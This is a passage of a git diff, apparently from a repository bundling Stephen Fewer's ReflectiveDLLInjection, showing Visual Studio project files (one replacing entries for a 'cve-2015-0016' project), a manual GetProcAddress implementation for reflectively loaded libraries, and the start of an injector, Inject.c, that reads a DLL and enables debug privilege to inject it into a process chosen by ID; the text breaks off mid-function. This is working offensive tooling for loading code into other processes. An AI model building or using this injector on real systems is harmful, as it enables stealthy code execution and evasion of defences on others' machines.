||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
|
||||||
|
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\GetProcAddressR.c" />
|
||||||
|
<ClCompile Include="src\Inject.c" />
|
||||||
|
<ClCompile Include="src\LoadLibraryR.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
|
||||||
|
<ClInclude Include="src\GetProcAddressR.h" />
|
||||||
|
<ClInclude Include="src\LoadLibraryR.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -1,39 +1,35 @@
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Filter Include="Source Files">
|
<Filter Include="Source Files">
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter Include="Header Files">
|
<Filter Include="Header Files">
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter Include="Resource Files">
|
</ItemGroup>
|
||||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
<ItemGroup>
|
||||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
<ClCompile Include="src\GetProcAddressR.c">
|
||||||
</Filter>
|
<Filter>Source Files</Filter>
|
||||||
</ItemGroup>
|
</ClCompile>
|
||||||
<ItemGroup>
|
<ClCompile Include="src\Inject.c">
|
||||||
<Text Include="ReadMe.txt" />
|
<Filter>Source Files</Filter>
|
||||||
</ItemGroup>
|
</ClCompile>
|
||||||
<ItemGroup>
|
<ClCompile Include="src\LoadLibraryR.c">
|
||||||
<ClInclude Include="stdafx.h">
|
<Filter>Source Files</Filter>
|
||||||
<Filter>Header Files</Filter>
|
</ClCompile>
|
||||||
</ClInclude>
|
</ItemGroup>
|
||||||
<ClInclude Include="targetver.h">
|
<ItemGroup>
|
||||||
<Filter>Header Files</Filter>
|
<ClInclude Include="src\GetProcAddressR.h">
|
||||||
</ClInclude>
|
<Filter>Header Files</Filter>
|
||||||
</ItemGroup>
|
</ClInclude>
|
||||||
<ItemGroup>
|
<ClInclude Include="src\LoadLibraryR.h">
|
||||||
<ClCompile Include="stdafx.cpp">
|
<Filter>Header Files</Filter>
|
||||||
<Filter>Source Files</Filter>
|
</ClInclude>
|
||||||
</ClCompile>
|
<ClInclude Include="..\common\ReflectiveDLLInjection.h">
|
||||||
<ClCompile Include="cve-2015-0016.cpp">
|
<Filter>Header Files</Filter>
|
||||||
<Filter>Source Files</Filter>
|
</ClInclude>
|
||||||
</ClCompile>
|
</ItemGroup>
|
||||||
<ClCompile Include="dllmain.cpp">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
</Project>
|
|
@ -0,0 +1,116 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "GetProcAddressR.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
|
||||||
|
// wont be able to resolve exported addresses in reflectivly loaded librarys.
|
||||||
|
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
||||||
|
{
|
||||||
|
UINT_PTR uiLibraryAddress = 0;
|
||||||
|
FARPROC fpResult = NULL;
|
||||||
|
|
||||||
|
if( hModule == NULL )
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
// a module handle is really its base address
|
||||||
|
uiLibraryAddress = (UINT_PTR)hModule;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
UINT_PTR uiAddressArray = 0;
|
||||||
|
UINT_PTR uiNameArray = 0;
|
||||||
|
UINT_PTR uiNameOrdinals = 0;
|
||||||
|
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||||
|
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
||||||
|
|
||||||
|
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
// test if we are importing by name or by ordinal...
|
||||||
|
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
|
||||||
|
{
|
||||||
|
// import by ordinal...
|
||||||
|
|
||||||
|
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||||
|
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// resolve the address for this imported function
|
||||||
|
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// import by name...
|
||||||
|
DWORD dwCounter = pExportDirectory->NumberOfNames;
|
||||||
|
while( dwCounter-- )
|
||||||
|
{
|
||||||
|
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
|
||||||
|
|
||||||
|
// test if we have a match...
|
||||||
|
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
|
||||||
|
{
|
||||||
|
// use the functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// calculate the virtual address for the function
|
||||||
|
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
|
||||||
|
|
||||||
|
// finish...
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||||
|
{
|
||||||
|
fpResult = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return fpResult;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,36 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,120 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include "LoadLibraryR.h"
|
||||||
|
|
||||||
|
#pragma comment(lib,"Advapi32.lib")
|
||||||
|
|
||||||
|
#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
|
||||||
|
|
||||||
|
// Simple app to inject a reflective DLL into a process vis its process ID.
|
||||||
|
int main( int argc, char * argv[] )
|
||||||
|
{
|
||||||
|
HANDLE hFile = NULL;
|
||||||
|
HANDLE hModule = NULL;
|
||||||
|
HANDLE hProcess = NULL;
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
LPVOID lpBuffer = NULL;
|
||||||
|
DWORD dwLength = 0;
|
||||||
|
DWORD dwBytesRead = 0;
|
||||||
|
DWORD dwProcessId = 0;
|
||||||
|
TOKEN_PRIVILEGES priv = {0};
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
char * cpDllFile = "reflective_dll.x64.dll";
|
||||||
|
#else
|
||||||
|
#ifdef WIN_X86
|
||||||
|
char * cpDllFile = "reflective_dll.dll";
|
||||||
|
#else WIN_ARM
|
||||||
|
char * cpDllFile = "reflective_dll.arm.dll";
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
// Usage: inject.exe [pid] [dll_file]
|
||||||
|
|
||||||
|
if( argc == 1 )
|
||||||
|
dwProcessId = GetCurrentProcessId();
|
||||||
|
else
|
||||||
|
dwProcessId = atoi( argv[1] );
|
||||||
|
|
||||||
|
if( argc >= 3 )
|
||||||
|
cpDllFile = argv[2];
|
||||||
|
|
||||||
|
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
|
||||||
|
if( hFile == INVALID_HANDLE_VALUE )
|
||||||
|
BREAK_WITH_ERROR( "Failed to open the DLL file" );
|
||||||
|
|
||||||
|
dwLength = GetFileSize( hFile, NULL );
|
||||||
|
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
|
||||||
|
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
|
||||||
|
|
||||||
|
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
|
||||||
|
if( !lpBuffer )
|
||||||
|
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
|
||||||
|
|
||||||
|
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
|
||||||
|
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
|
||||||
|
|
||||||
|
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
|
||||||
|
{
|
||||||
|
priv.PrivilegeCount = 1;
|
||||||
|
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
|
||||||
|
